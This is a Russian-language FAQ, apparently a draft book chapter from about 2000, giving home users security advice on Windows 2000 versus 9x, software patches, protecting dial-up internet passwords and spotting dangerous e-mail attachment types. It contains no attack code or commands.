Замечательно, что при этом не требуется постоянного ввода пароля, - автоматически используется тот, под которым вы вошли в систему, и зашифрованный файл внешне ничем не отличается ото всех остальных. За исключением того, что прочесть его сможете только вы, и никто другой (даже администратор системы). А для экономии места можно на лету упаковывать любые выбранные файлы, а не весь диск целиком, как это было в Windows 95\98. (свойства файла или паки, вкладка "Общие", нажмите кнопку "Другие" и в открывшимся диалоговом окне установите галочку "Сжимать содержимое для экономии места на диске"). К сожалению, атрибуты сжатия и шифрования исключают друг друга, поэтому придется выбирать что-то одно.

Весь этот табун замечательных возможностей и пуленепробиваемую защиту обеспечивает, строго говоря, не сама Windows 2000, а файловая система NTFS. Диски, размеченные под FAT и FAT32, даже под новой системой практически ничем не защищены, поэтому, если уж и ставить Windows 2000, то только на NTFS.

До недавнего времени в Windows NT, такое решение несло не только блага, но и риск потери доступа к данным, - если вдруг случится что и система "ляжет", вместе с ней "лягут" и все NTSF-диски, ибо старая добрая MS-DOS, заботливо сохраненная на загрузочной дискете, их просто не "видит". Администратору корпоративной сети такой "полег" – не помеха, - он просто возьмет винчестер с "мертвой" NT и подключит его к компьютеру со здоровой системой, колдуя над которой, покойницу и воскресит, или, по крайней мере, скопирует оттуда все важные данные и файлы. Но для домашнего пользователя такой способ не приемлем, - где же он возьмет рабочую NT, да еще в четыре часа ночи (а по закону бутерброда самые коварные аварии случаются как раз под утро, когда так страшно хочется спать)?

Разработчики Windows 2000 учили это и поддержали, так называемую, консоль восстановления. Если говорить упрощенно – эта та же MS-DOS, загруженная с дискетки (в количестве четыре штуки) или родного компакт-диска, со встроенными утилитами для восстановления таких критически важных персон, как MBR (главная загрузочная запись) или BOOT-сектор (сектор загрузки). В контекстной помощи Windows 2000 рассказано, как с помощью программы архивации создать резервную копию важнейших файлов системы, и как восстановиться с нее в случае аварии.

Вкратце, загрузившись с установочных дискет или CD-диска с Windows 2000, выберите пункт "Чтобы восстановить Windows 2000, нажмите <R>", нажав, как и просят, клавишу <R>, а за ней клавишу <C> - "Для исправления установки Windows 2000 через консоль восстановления нажмите <C>". Остается выбрать систему (если их установлено больше одной) и ввести пароль администратора. К сожалению, с консоли восстановления доступ открыт не ко всем файлам, а только принадлежащим системе и просто так скопировать важные данные на дискету не получится. Но можно попробовать восстановить диск командами CHKDSK, FIXMBR и FIXBOOT.

Другая полезная утилита, - SFC.EXE, - доступная непосредственно из Windows 2000, сканирует системные файлы на предмет поиска в них искажений, а случись ей такие обнаружить – предложит все восстановить с резервной копии, автоматически создаваемой при установке системы. Очень помогает при сбоях и подозрениях на заражение вирусом! (Ради справедливости отметим, что такая же утилита есть и в Windows 98).

Словом, разработчики Windows 2000 приложили немало усилий к защите и эту систему не так-то просто "уронить". Но не стоит питать иллюзий будто бы вашему спокойствию вообще ничего не угрожает. Увы, ничто по-настоящему не надежно в нашем подлунном мире! Впрочем, если Windows 2000 не остановит взломщика, по крайней мере, она заставит его попотеть. А кому интересно такими усилиями ломать "домашнего" пользователя? Совершенно верно – никому, поэтому, можно смело чувствовать себя в относительной безопасности.

Но, помимо описанных выше достоинств, Windows 2000 несет в себе одну очень неприятную вещь – никакие MS-DOS программы, требующие прямого доступа к аппаратуре, под этой операционной системой работать не будут. В первую очередь это относится к игрушкам (все они играют музыку, дергая звуковую карту за порты), различным графическим программам, переводящим дисплей в нестандартный режим, наконец, под Windows 2000 не работают программы, защищенные ключевыми дисками и прочими нестандартными приемами программирования.

Поэтому, прежде чем менять операционную систему, хорошо бы убедиться, что все необходимые вам приложения в ней успешно работают или имеют себе замену. Убедится-то хорошо, да вот как? Не выяснять же это установкой Windows 2000?! Конечно, нет. На CD-диске в каталоге SUPPORT находится замечательная утилита как раз для такой проверки и предназначенная.

Иногда в печати и в телеконференциях промелькивает утверждение, что, дескать, необязательно ради Windows 2000 отказываться от старой доброй Windows 98 – обе эти системы могут прекрасно уживаться вместе. Если нужная программа не работает в Windows 2000 – запускай Windows 98 и наслаждайся жизнью. К сожалению, не все так радужно как на словах. Поставить-то две системы на один диск, конечно, можно, но вот будет ли от этого хоть какой ни будь прок? (Чтобы установить обе системы на один диск – достаточно поставить Windows 2000 поверх Windows 9x\Me, она спросит: "следует обновить уже имеющуюся систему или установить новую?" – ответьте "установить новую", тогда Windows 2000 автоматически добавит собственный boo-tменеджер, позволяющий при старте компьютера выбрать какую именно операционную систему следует загружать.)

Windows 9x не поддерживает NTSF и придется обе системы ставить на FAT. А FAT – это полное отсутствие защиты и возврат в средневековье. Разбить диск на несколько разделов – FAT для Windows 98, а NTFS – для Windows 2000 – идея хорошая, но не выдерживающая никакой критики. Ведь в этом случае, Windows 9x приложения, не увидят документов, хранящихся на диске с Windows 2000, а если их перенести на диск Windows 98, то зачем вообще ставить Windows 2000?

Плохая совместимость с древним программным обеспечением – основой недостаток Windows 2000, от которого никуда не уйти. Как бы ни было велико желание получить и то, и другое – приходится делать выбор – либо новая Windows 2000, либо старые приложения, но не все вместе сразу!

Родственные вопросы:

Какая операционная система самая надежная?

Q: Какая операционная система самая надежная?

Из всех операционных систем семейства Windows, наиболее защищенной на сегодняшний день считается Windows 2000 со всеми установленными заплатками (см. "В чем преимущества Windows 2000 по сравнению с 9x\Me?"). Она основана на коде Windows NT – системы, во главу угла которой изначально ставились именно безопасность, надежность и отказоустойчивость, а потом уже все остальное, включая быстродействие и требование к аппаратуре.

С большим отрывом за NT следуют Windows Me и Windows 98, основанные на коде Windows 3.0 – сильно перелопаченном, конечно, но так и не избавившегося от своих родимых пятен и природной кривизны. Эти системы изначально ориентированы на массового непривередливого пользователя, идущего под знаменем "скорость, скорость, скорость, пускай и в ущерб надежности". Впрочем, по некоторым оценкам, именно Windows 98 SE (вторая редакция) – самая надежная на сегодняшний день система, а вовсе не Windows 2000.

Автор внимательно исследовал обе и должен сказать – дыры, баги и ошибки в изобилии присутствуют и в той, и в другой. Надежность Windows 2000 все же ощутимо выше, но только с установленными обновлениями – по крайней мере требуется Service Pack 1, автоматически загружаемый с сайта Microsoft нажатием "Пуск"  "Windows Update". Это много-много мегабайтовый файл, но его перекачка стоит потраченных средств – девственно чистая инсталляция Windows 2000 с дистрибьютивного диска дырявее, чем ведро без дна и может быть атакована даже начинающими хакерами!

Куда плачевнее обстоит дело с Windows 95 (если кто-то на ней до сих пор работает) – эта операционная система представляет собой сплошную дыру и удивительно как она вообще ухитряется работать!

Бытует мнение, что клоны UNIX (в частности LINUX) защищены очень хорошо и непреступны для злоумышленников какой бы высокой ни была их квалификация. Да, LINUX кое в чем лучше наспех тестированной продукции Microsoft, но и у нее есть свои проблемы. Миф о безглючности LINUX – это только всего лишь миф. Даже с учетом его малой распространенности, значительно уступающей системам от Microsoft, LINUX ломают не реже, а ошибки в ней всплывают даже чаще, чем в Windows – вот такие тут дела!

"Защищенность" операционных систем понятие эфемерное – это как надежность банка: банк остается надежным пока не лопнет.

Родственные вопросы:

В чем преимущества Windows 2000 по сравнению с 9x\Me?

Q:Чем я рисую подсоединясь к Интернет?

Подключаясь к Интернет, вы потенциально рисуете подвергнуться атаке злоумышленников (а в сети помимо мирных пользователей "проживают" и воинственные злоумышленники). Их целью может быть: похищение вашего Интернет – пароля; похищение, модификация или удаление файлов; блокирование работы компьютера и выведение его из строя. (см. так же "Чем рискует посетитель виртуального магазина")

- похищение вашего Интернет – пароля (см. "Как взломать Интернет", "Что такое Интернет - пароль и зачем он нужен?") – наиболее распространенная атака, дающая атакующему возможность бродить по сети за чужой счет. Подавляющее большинство провайдеров не запрещает своим клиентам входить в Интернет с другого телефона и, все что нужно злоумышленнику, заполучить чье-то имя пользователя и пароль, а так же, разумеется, выяснить услугами какого именного провайдера пользуется жертва. (cм. "Как избежать похищения моего Интернет-пароля")

похищение, модификация или удаление файлов: чаще всего приходится сталкиваться с удалением, преследующим обычный вандализм, – ценность информации, хранящейся на домашнем компьютере, обычно, не столь велика, чтобы представлять для кого-то жгучий интерес, а корпоративные компьютеры худо-бедно защищаются специально на то поставленными администраторами и уж совсем юным взломщикам они в совей массе "не по зубам".

Помимо удаления, определенный сорт людей получает глубокое наслаждение от искажения чужих файлов – внесения нецензурных слов в текстовые документы и непристойных изображений в графические. Зачастую это несет гораздо больше убытки, чем удаление: представьте себе, что произойдет если подать Big Boss-у отчет, содержащий помимо прочего оскорбительные замечания в его адрес…

блокирование работы компьютера: это самый распространенный и не такой уж безобидный тип атак. На первый взгляд, ничего страшного при зависании компьютера не происходит – перезагрузился и работай дальше. Но, если перезагрузки придется делать раз в пять-десять минут, то слово "работа" придется забыть! К тому же, несвоевременная перезагрузка (например, во время оптимизации диска) может привести к значительным потерям данных на жестком диске.

выведение из строя компьютера или его компонентов: до некоторой поры программные методы выведения техники их строя были всего лишь частью фольклора, – никакой угрозы от резонанса головок винчестера или перегрева процессора на самом деле не существовало.

Сегодня же программное выведение аппаратуры из строя – обычное дело. Виною тому – огромная популярность "перешиваемых" ПЗУ. Их можно встретить и в материнских платах, и в модемах, и даже в некоторых моделях жестких дисков. Если зловредная программа "прошьет" ПЗУ "мусором", - устройство перестанет функционировать, если только его производитель не предусмотрел "резервного" ПЗУ, подключающегося в случае порчи основного. (Как обстоят дела с конкретным устройством можно узнать из прилагаемой к нему документации, если, конечно, там эти подробности описаны).

В противном случае, восстанавливать прошивку неработающего устройства придется в ремонтной мастерской. Пускай, подлинно-аппаратного вывода из строя при этом не происходит, – потребителям от этого ничуть не легче, ведь теперь запуск программы неизвестного происхождения (равно как и хакерская атака) чреват не только потерей информации, но и порчей самого компьютера!

Родственные вопросы:

Как взломать Интернет

Чем рискует посетитель виртуального магазина

Что такое Интернет - пароль и зачем он нужен?

Как избежать похищения моего Интернет-пароля

Q:Как гарантировано защитится от атак из Интернет?

Абсолютно надежных защит не бывает! Классическое противостояние меча и щита – если удается придумать щит, который не берет ни один меч, вскоре появляется меч, от которого не спасает ни один щит… и так – без конца!

???? Рисунок "карикатура" обыграть предыдущий абзац

Основных причины успешности атак: ошибки разработчиков приложений (включая операционную систему) и ошибки самого пользователя. Даже если пользователь не будет делать никаких действий, ну совсем - совсем никаких – ни запускать файлы, ни принимать почту, ни блуждать по сайтам, его компьютер потенциально может быть атакован. "Потенциально" надо понимать как "теоретически" – т.е. при наличии дыр в системе. А в какой системе их нет? Новые дыры обнаруживаются куда быстрее, чем "затыкаются" – каждый день на хакерских сайтах появляются сообщения о двух-трех, а подчас и десяти свеженайденных уязвимостях! Сколько же их остается в "запасниках" – остается только гадать…

Фирмы-производители программного обеспечения в меру своей эрудиции и осведомленности устраняют допущенные ошибки и затыкают хакерские лазейки так быстро, как только могут. Чаще – в течение от недели до месяца, реже – на продолжении нескольких лет. Затем, либо выпускают новую версию свой "софтины", лишенную прежних дефектов {>>>>> сноска Конечно же, процесс исправления старых ошибок не обходится без внесения новых}, либо создают специальную "заплатку", латающую дыры программы "в живую" – все, что необходимо сделать пользователям – скачать ее с сервера производителя и запустить.

Доверие – это прекрасно, но не стоит переоценивать могущество "заплаток". Так, одну из дыр в Microsoft Internet Information Server удалось заткнуть лишь третьей по счету заплаткой – первые две устраняли ошибку не полностью. К тому же, пока информация об ошибке дойдет до разработчиков, пока они убедятся в наличии проблемы, пока найдут способ ее устранить,… пока, наконец, пользователь не заглянет на сервер компании-производителя своей любимой "софтины" и не скачет оттуда заплатку (если вообще удосужится ее скачать) и не установит на свой компьютер, проходит очень много времени, в течение которого компьютер, на котором установлена такая программа, представляет собой отличную мишень даже для начинающих взломщиков! Ведь информация о дырке уже публично доступна, а сама дырка еще не исправлена – что может быть проще, чем в нее пролезть?!

При нынешнем отношении ведущих фирм к качеству тестирования программного обеспечения чувствовать себя в безопасности никому не приходится. С другой стороны не стоит разводить панику, истерически выдергивая телефонный шнур из модема при каждом шорохе. Да, {<<< вернуть запятую} каждый в принципе может быть атакован, и гарантированно защитить свой домашний компьютер невозможно, но точно так никто не застрахован от падения балкона или встречи с хулиганами в темном переулке. И ничего – цивилизация не рушится, хотя временами перья и летят… (см. "Какая операционная система самая надежная?")

Соблюдение элементарных правил гигиены – не тянуть что ни попадя в рот, то бишь не запускать первые попавшиеся программы – значительно осложняет задачу проникновения на ваш компьютер (см. "Как защитится от вирусов", "Какие почтовые вложения безопасны?"). Помимо этого совсем нелишне периодически наведываться на сервера разработчиков всех используемых вами приложений на предмет поиска свежих "заплаток" и обновлений. Имеет смысл подписаться на одну из почтовых рассылок по безопасности, оперативно информирующую о новых дырках (см. "Где можно узнать о самых свежих дырках и последних обновлениях приложений?").

Эти меры, несмотря на свою полезность, не избавляют от необходимости резервирования всех, или на худой конец, критически важных файлов. Резервирование предотвращает уничтожение информации, к минимуму сводя ущерб от атаки, и служит чем-то вроде гарантированной защиты. {>>>> сноска Нас атаковали? Вот и ладненько – пойдем, выпьем кофе, а потом все быстренько восстановим с резервной копии}, однако, оно бессильно противостоять краже и разглашению конфиденциальных документов. Увы! Единственный гарантированный способ избежать их похищения – не держать секретные файлы на компьютере, подключенным к Интернет, а еще лучше обрабатывать их вручную на печатной машинке – старым дедовским способом. Шутка, конечно, но в ней есть и своя доля правды – современные технологии несут немало вреда вместе с пользой.

Родственные вопросы:

Как защитится от вирусов

Какие почтовые вложения безопасны?

Какая операционная система самая надежная?

Где можно узнать о самых свежих дырках и последних обновлениях приложений?

Q:Что такое заплатки и как их устанавливать?

Свое название "заплатки" получили из-за сходства со своими "коллегами" – первые затыкают дыры в материи, вторые – в программном обеспечении. Впрочем, эта аналогия скрывает одно существенное различие: залатанная материя – вещь неполноценная, ущербленная, в то время как залатанная программа – явление вполне нормальное. Чтобы после каждой обнаруженной ошибки не выпускать новую версию приложения целиком, разработчики переписывают только содержащий "дырку" файл (или его часть) и дают пользователям вставить его в уже установленную программу.

??? Рисунок "карикатура" Дискета с заплаткой

Различают горячие (hot-fix) заплатки и кумулятивные (cumulative) обновления горячие заплатки выходят с максимально достижимой оперативностью, порой спустя всего несколько дней после обнаружения "дырки". Когда же таких заплаток набирается целый мешок, их установка становится довольно хлопотным занятием, – вот разработчики и собирают их в один пакет – кумулятивное обновление – представляющий собой одну здоровенную заплатку, так же называемую "сервис паком" – от английского Service Pack.

Техника установки заплаток (кумулятивных обновлений) определяется разработчиком и может реализовываться по-разному. Как правило, от пользователя требуется всего лишь запустить некоторый файл, который все делает самостоятельно. Очень желательно перед его установкой внимательно ознакомиться с прилагаемой документацией – не пренебрегайте этими! Латание дыр – дело серьезное, неверные действия могут угробить приложение (операционную систему) и его придется переустанавливать заново. Наиболее распространенная ошибка – установка заплатки не на ту версию приложения для которой она предназначена. Вообще-то, все необходимые проверки заплатка, по идее, должна выполнять самостоятельно – но так бывает далеко не всегда. Будьте внимательны!

Q:Где можно узнать о самых свежих дырках и последних обновлениях приложений?

Зачастую лучшим источником информации о свежих дырках и соответствующим им заплатах является сайт производителя того программного обеспечения, которым вы пользуетесь. Одна незадача – каждый из нас использует десятки программ от разных производителей и было бы очень утомительно обходить кучу сайтов каждый день – тем паче, что эта работа давно сделана за нас.

В сети существует множество ресурсов, посвященных безопасности и всем, что с ней связано, включая дырки и выпущенные для их устранения обновления. Вот лучшие сайты на эту тему:

  • /

  • /

  • /

Все они поддерживают почтовую рассылку, оперативно информирующую своих подписчиков о новых видах атаках и способах им противодействия, если таковые уже найдены. Ни одна из рассылок не является исчерпывающе полной, и чем на большее количество рассылок вы подпишитесь – тем лучше. Конечно, эта мера не гарантирует безопасности вашего компьютера (как быть с теми атаками, над противоядием против которых ломают головы все специалисты мира?), но позволит быть в курсе событий. Если уж и умирать – то хоть знать от чего! Шутка, разумеется. Своевременная установка обновлений – залог здоровья и никогда не стоит этим пренебрегать.

Q: Как узнать, что моим паролем пользуется кто-то еще? И что потом делать?

Провайдеры, заботящиеся о своих пользователях, предоставляют им доступ к серверу статистики – зайдя на который можно оперативно посмотреть сколько вы пробыли в сети и когда именно – с указанием времени и продолжительности захода. Изучив этот протокол, остается только сверить его с реальным положением дел – конечно, если вы помните все свои заходы в сеть. А не помните – не беда! (см. "Интернет общие вопросы Какой программой можно вести учет времени, проведенного в Интернет").

"Горящий" признак похищения пароля – внушительная величина счета, выставленного провайдером (если, кончено, злоумышленник, похитивший пароль, потерял всякую совесть), а так же – невозможность входа в сеть (многие, но не все, провайдеры запрещают использование одного логина двумя и более пользователями одновременно). Это хороший повод для тщательной сверки логов!

Если расхождение подтвердится (проверьте еще раз – не выходил ли в сеть кто-нибудь из ваших домашних не поставив вас в известность, и не выходили ли вы сами, напрочь потом забыв об этом!) сообщите провайдеру и попросите помочь. Платить по счету, скорее всего, все-таки придется (хотя, добрые провайдеры иногда идут навстречу своим клиентам), но провайдер может с помощью АОН или, связавшись с работниками АТС, отследить последующие выходы злоумышленника в сеть, а после – послать для нравоучительной беседы бригаду каратистов быстрого реагирования или же передать вора соответствующим органам. Иногда провайдеры отдают злоумышленника на растерзание самим же пострадавшим пользователям. Говорят, что разъяренных пользователей злоумышленники боятся больше, чем сотрудников милиции.

Родственные вопросы:

Интернет общие вопросы  Какой программой можно вести учет времени, проведенного в Интернет

Q:Что обозначает галочка "Сохранить пароль"

Если установлено "Сетевое окружение" или "Множественные параметры рабочего стола" (как и происходит по умолчанию), то в диалоге "Подключение" присутствует галочка "Сохранить пароль". Если ее взвести, то после успешного соединения компьютер запомнит пароль и в будущем будет автоматически его подставлять. В случае неуспешного соединения (телефонная линия занята, пароль указан неправильно, сервер провайдера завис и т.д.) пароль будет запомнензапоминается лишь на текущий сеанс работы – до первой перезагрузки или выключения компьютера.

В различных операционных системах сохранение пароля реализовано по-разному. В Windows 9x\Me пароли сохраняются в директории %Windows% в файлах с расширением *.pwl (от английского Passwords Word List – Список Паролей) и именем, совпадающим с именем пользователя, под которым он вошел в Windows. Windows NT\2000 сохраняют пароли в профилях пользователей.

Родственные вопросы:

Надежнее ли "сохранение пароля" его ручного ввода? (следующий)

Q: Надежнее ли "сохранение пароля" его ручного ввода?

Сравнивать надежность "сохраненного пароля" с его ручным вводом – все равно, что сравнивать тяжесть километров и литров. Это совершенно разные категории каждая со своими достоинствами и недостатками.

Недостатки пароля, вводимого вручную, следующие:

а) длинный пароль трудно запомнить, и приходится где-то записывать, что создает угрозу его раскрытия, а короткий или осмысленный пароль злоумышленник сможет легко подобрать;

б) пароль, набираемый на клавиатуре, могут подсмотреть посторонние (гости, коллеги и т.д.);

с) зловредная программа-шпион (вирус, например) может отслеживать нажатие клавиш и отсылать их своему "хозяину";

д) ручной ввод пароля – утомительное занятие, особенно если его приходится вводить помногу раз на день.

Недостатки "сохраненного пароля" следующие:

а) зловредная программа-шпион (вирус, например) может вытащить из компьютера сохраненный пароль и отослать его своему "хозяину";

б) любой человек, сев за компьютер, безо всяких программ сможет получить доступ к защищенному паролем ресурсу, т.к. ручного ввода пароля не требуется.

"Сохранение пароля" ничуть не безопаснее его ручного ввода – если у потенциального похитителя пароля есть доступ к компьютеру или возможность запустить на нем шпионскую программу, он с одинаковой легкостью украдет и "сохраненный", и "ручной" пароль. Но автоматическое сохранение пароля очень удобно и не стоит пренебрегать этой возможностью!

Q: Могут ли хакеры подломать провайдера и похитить мой пароль? Анастасия Isida@

Заботы по хранению своих сетевых реквизиторов провайдеры обычно возлагают на пользователей. Дескать, никому не сообщайте свой пароль, не записывайте его на бумажке, приклеенной сбоку монитора (варианты – под клавиатурой, под мышиным ковриком), никогда - никогда не запускайте программы неизвестного происхождения и т.д. А что, если хакер атакует провайдера? Сможет ли он "спионерить" пароль пользователей или нет?

Большинство провайдеров категорически отрицают такую возможность, делая "пальцы веером" и извергая целый фонтан непонятных простому обывателю слов. Дескать, как это можно не знать, что ни в открытом, ни в зашифрованном виде пароли у них не хранятся и, так называемый "файл паролей" содержит вовсе не сами пароли, а хэши (грубо говоря – контрольные суммы паролей). А знание хэша не позволяет установить оригинальный пароль иначе, чем последовательным перебором. Если клиент не выбрал себе простое словарное слово, наподобие "mafia" или "chongachanga" подобрать его пароль даже на самом крутом Pentium-е удастся не быстрее, чем наступит очередной ледниковый период!

Тем временем, ворованные пароли продаются хакерами едва ли не на каждом углу – ау! ледниковый период. Провайдеры, в пылу своего красноречия, тактично умалчивают, что под Windows NT\2000 оригинальный пароль пользователя для входа на сервер и вовсе не нужен – сервер его и сам не знает! Во время аутентификации клиент передает не пароль, а хэш пароля. Сервер берет этот хэш и сверяет его с эталонной записью, хранящейся в базе. Если хакер проникнет на сервер и получит доступ к базе, он сможет похитить все хэши!

Несколько лучше дела обстоят с UNIX – она шифрует пароли по аналогичной схеме, но требует от пользователя не хэш, а открытый пароль, выполняя вычисление контрольной суммы самостоятельно. Даже если злоумышленники утянут "файл паролей", ничего кроме контрольных сумм паролей они не обнаружат, а обратить контрольную сумму и получить исходный пароль ой как не просто! – Потребуется много времени и много быстрых компьютеров, а у рядового злоумышленника ни того, ни другого в избытке не имеется!

Однако открытость пароля предоставляет возможность его перехвата – если злоумышленник вломится на компьютер провайдера и незаметно установит там "жучок", он сможет подсматривать пароли всех входящих в сеть пользователей со всеми вытекающими отсюда последствиями.

Теоретически взлом провайдера с похищением паролей пользователей вполне реален и ничего мифического в этом нет, причем такие события происходят достаточно часто… К сожалению, рядовой пользователь не может определить надежность защиты провайдера – это по силу только системным администраторам и самим хакерам.

Q: Могут ли злоумышленники подключится к телефонной линии и перехватить мой трафик с провайдером? Юлия July@

Модемные протоколы основаны на двухстороннем обмене электрическими импульсами, поэтому, подключать параллельный модем к телефонной линии бессмысленно – он не сможет нормально работать в таких условиях.

Правда, существует специальное оборудование для "шпионской прослушки", стоящее немерянных денег, но способное осуществить такой перехват. За его неимением некоторые отчаянные головы пытаются декодировать электрические сигналы с помощью Sound Blaster-а, вмонтированного в Notebook. И, говорят, получается!

Q: Как предотвратить похищение моего Интернет пароля?

Ничто так не отбивает желание поохотиться за чужими Интернет - паролями, как проверка провайдером номера звонящего абонента и сравнение его с номером телефона, "закрепленным" за обладателем данного пароля.

Провайдеры, реально отслеживающие своих клиентов аппаратурой АОН, многократно снижают актуальность похищения пароля – ведь в этом случае злоумышленнику потребуется не только похитить пароль, но и подключиться к чужой телефонной линии, что довольно проблематично (разумеется, если "злоумышленником" не является никто из домашних).

Определение номера звонившего не то чтобы очень хлопотная забота (многие модемы имеют встроенную систему АОН), но провайдеры в своей массе под предлогом нежелания ограничивать свободу клиентов позволяют входить в сеть с любого телефонного номера! Истинная же причина в том, что провайдеры не хотят наживать себе лишнюю головную боль. Только представьте себе толпу разъяренных клиентов, у которых из-за старости АТС или помех на линии не определяется номер и АОН провайдера дает от ворот поворот, не пуская в сеть, да и лишняя возня с поддержкой телефонной базы пользователей провайдерам ни к чему.

Попадаются и такие провайдеры (к числу которых принадлежит и krintel), которые в договоре оговаривают возможность входа в сеть только с заранее оговоренного телефонного номера, но на практике никак его не проверяют – выходи откуда хочешь!

Определить, как обстоят дела в таком-то конкретном случае, можно лишь экспериментально – попыткой захода в Интернет со своим логином с чужого телефона (но только не с чужого компьютера – этим вы раскрываете свой пароль его владельцу!).

Если провайдер не контролирует номер звонившего (как часто и происходит) злоумышленник сможет бесплатно войти в сеть угадав или похитив чужой пароль.

угадывание: если пароль представляет собой осмысленное слово наподобие "McLaren" или "Disney", упорядоченную последовательность типа "QWERTY" или полностью состоит из цифр – он может быть легко угадан! Лексикон большинства людей ограничен несколькими десятками тысяч слов, а самые полные русские и английские словари насчитывают сотни тысяч, ну пускай, миллионы слов. При скорости подбора в десять-двадцать тысяч паролей в секунду (средняя скорость младших моделей Pentium) – перебрать все словарные слова, пускай даже слегка видоизмененные (типа "Арбуз"  "Арбусис"), удастся менее чем за час, в крайнем случае, за сутки-другие. В то же время, бессмысленных сочетаний даже из пяти букв латинского алфавита (включая цифры и знаки препинания) – свыше миллиарда, а из восьми символов и того больше– порядка миллиарда миллиардов! На бытовых компьютерах их перебор займет все оставшееся до конца света время! (Если, конечно, забыть о неуклонном увеличении производительности компьютеров).

похищение: отчаявшись подобрать пароль "в лоб", злоумышленники начинают прибегать ко всевозможным ухищрениям. Например, связываются с намеченной (или выбранной наугад) жертвой и от имени службы технической поддержки (варианты - администратора, фининспектора, президента, господа бога) требуют назвать пароль. Это рискованный ход, т.к. звонившего можно отследить (с помощью АОН, например) и на суде (если до него дойдет) опознать по голосу (одни лишь показания АОН для суда не аргумент). Продвинутые злоумышленники поступают хитрее, предлагая всем желающим зарегистрироваться на своем сайте, указав собственное имя и пароль (например, для доступа к редактированию собственной анкеты или возможности подписки на почтовую рассылку). Разумеется, никем не требуется введение именно Интернет – пароля, но многие люди склонны выбирать одинаковые (или похожие) пароли на все случаи жизни.

Никогда, нигде и ни при каких обстоятельствах никому не сообщайте свой Интернет – пароль! Так же не записывайте его ни на бумажке, приклеенной к монитору (столу, клавиатуре), ни в записной книжке, ни где-либо еще. Эти "тайники" легко доступны вашим гостям и знакомым, а можно ли быть уверенным, что все они добропорядочные граждане? По обыкновению пароль записывается в договоре, заключенном с провайдером, а сам договор хранится (точнее, должен храниться) среди других ценных бумаг и документов – вне пределов досягаемости знакомых и друзей. (см. "Как узнать, что моим паролем пользуется кто-то еще? И что потом делать?").

Пароль может похитить и программа-шпион, засланная с диверсионной целью на чужой компьютер. Техника засылки диверсантов весьма разнообразна:

а) замаскировав такую программу под нечто полезное, злоумышленник может отослать ее намеченной жертве по электронной почте ("Какие почтовые вложения безопасны?"), выложить на общедоступный "софтверный" сервер, наподобие , "закинуть" в телеконференцию и т.д. Антивирусы обнаружат такую программу лишь при условии, что она уже была ранее кем-то использована и успела попасть в руки вирусологов. Но шпиона, написанного самим злоумышленником специально для этой атаки антивирусы распознать не в силах! Нить надежды дает эвристический анализатор – грубо говоря "искусственный интеллект" антивируса – в некоторых случаях распознающий неизвестные ему зловредные программы по их "запаху", т.е. характерным последовательностям машинных команд, но в силу своего несовершенства эвристические анализаторы зачастую не срабатывают и хитрый злоумышленник может без труда обойти их. Антивирусы – антивирусами, а запускать полученные из Интернета файлы сомнительного происхождения (см. "Какие ресурсы Интернет наиболее безопасны") не стоит, даже если антивирусы – какими бы они свежими ни были – не нашли в них ничего подозрительного (см. "Как защитится от вирусов").

???? Рисунок "карикатура" собака в повязке с красным крестом нюхает дискету, по которой ползают вирусы

б) файлы документов могут содержать вредоносные макросы, автоматически запускающиеся при открытии документа и похищающие сохраненный пароль (или устанавливающие шпиона, отслеживающего нажатие клавиш) - см. "Как защитится от вирусов";

с) "дырки" в операционных системах и приложениях приводят к возможности хищения пароля без каких-либо активных действий со стороны жертвы – достаточно ей войти в Интернет (см. "Как гарантированно защититься от атак из Интернет").

Родственные вопросы:

Как защитится от вирусов

Какие почтовые вложения безопасны?

Какие ресурсы Интернет наиболее безопасны

Какие почтовые вложения безопасны? (следующий)

Как гарантированно защититься от атак из Интернет

Как узнать, что моим паролем пользуется кто-то еще? И что потом делать?

Q:Какие почтовые вложения безопасны?

Гарантировать безопасность вложения, даже если оно представляет обычный текстовой файл, не возьмется ни один специалист. Во всяком случае, голову на отсечение не даст – ну разве что палец (см. "Можно ли чувствовать себя в безопасности, если не запускать никаких файлов, полученных их сети?").

Скажем так: если вложение не опасно, то оно безопасно. Это вовсе не шутка и не дурацкий каламбур! Существует ряд формальных признаков по которым можно распознать опасность вложения (и не только его), но обратных признаков не существует. Можно провести следующую аналогию – преступника, пойманного с поличным, отличить от честного человека очень легко, а вот попробуй-ка определить честен человек или нет, если он еще не "засветился"! Вот точно так и с компьютерами…

Ниже приведен краткий перечень потенциально опасных типов вложений (перечисленных в порядке убывания опасности) открывать которые можно только в случае абсолютного доверия приславшему их лицу (и считаясь с возможностью фальсификации адреса отправился "Секреты почтыКак установить подлинный адрес отправителя письма?"):

исполняемые:

файлы приложений (расширение *.exe, *.com);

командные файлы (расширение *.bat, *.cmd);

информационные файлы оболочек (расширение *.lnk, *.pif).

сценарии:

Java-скрипты (расширение *.js или *.jse);

Visual Basic-скрипты (расширение *.vbs или *.vbe);

Perl-скрипты (расширение *.pls {>>>>> сноска не путать с Perl-приложениями, имеющими расширение *.pl и требующими наличие интерпретатора Perl для запуска; Perl-скрипты поддерживаются самим браузером};

Windows – скрипты ( расширение *.sct или *.wsc);

импорт реестра (расширение *.reg или *.key);

настройки удаленного доступа (расширение *.dun или *.rnk);

chm-файлы помощи Windows (расширение *.chm);

– задания планировщика - (расширение *.job);

файлы групп (расширение *.grp);

компоненты панели управления (расширение *.cpl);

– хранители экрана (расширение *.scr);

документы:

файлы Word (расширения *.doc или *dot или *.wbk или *.dothtml или …);

файлы Excel (расширение *.xls или *.xlw);

…и многие-многие другие – всех перечислить невозможно!

На рисунке 14 показано как по умолчанию выглядят иконки наиболее опасных типов файлов. Однако многие из них могут содержать в себе свои собственные иконки, перекрывающие изображения по умолчанию – никогда не забывайте проверить расширение! (Чтобы заставить "Проводника" Windows всегда отображать расширения файлов сбросьте галочку "Скрывать расширения для зарегистрированных типов файлов" в свойствах папки, доступных через меню "Сервис Свойства папки Вид")

{К РИСУНКУ: убрать серый фон рисунка}

Рисунок 14 Рисунок 0x001 Типовые иконки некоторых потенциально опасных вложений

При определении типа вложения следует учитывать, что почтовые программы могут не полностью отображать слишком длинные имена файлов вложений и имя "моя фотография.jpg                           (много пробелов).exe" будет выглядеть "невинной овечкой". Распознать обман очень просто – достаточно сохранить файл на диск и подвести к нему курсор – "Проводник" Windows покажет его подлинное имя. Более короткие пути, упоминающиеся в некоторых руководствах, не столь универсальны и не всегда дают ожидаемый результат.

Родственные вопросы:

Секреты почтыКак установить подлинный адрес отправителя письма?

Можно ли чувствовать себя в безопасности, если не запускать никаких файлов, полученных их сети?

Q:Какие ресурсы Интернет наиболее безопасны?

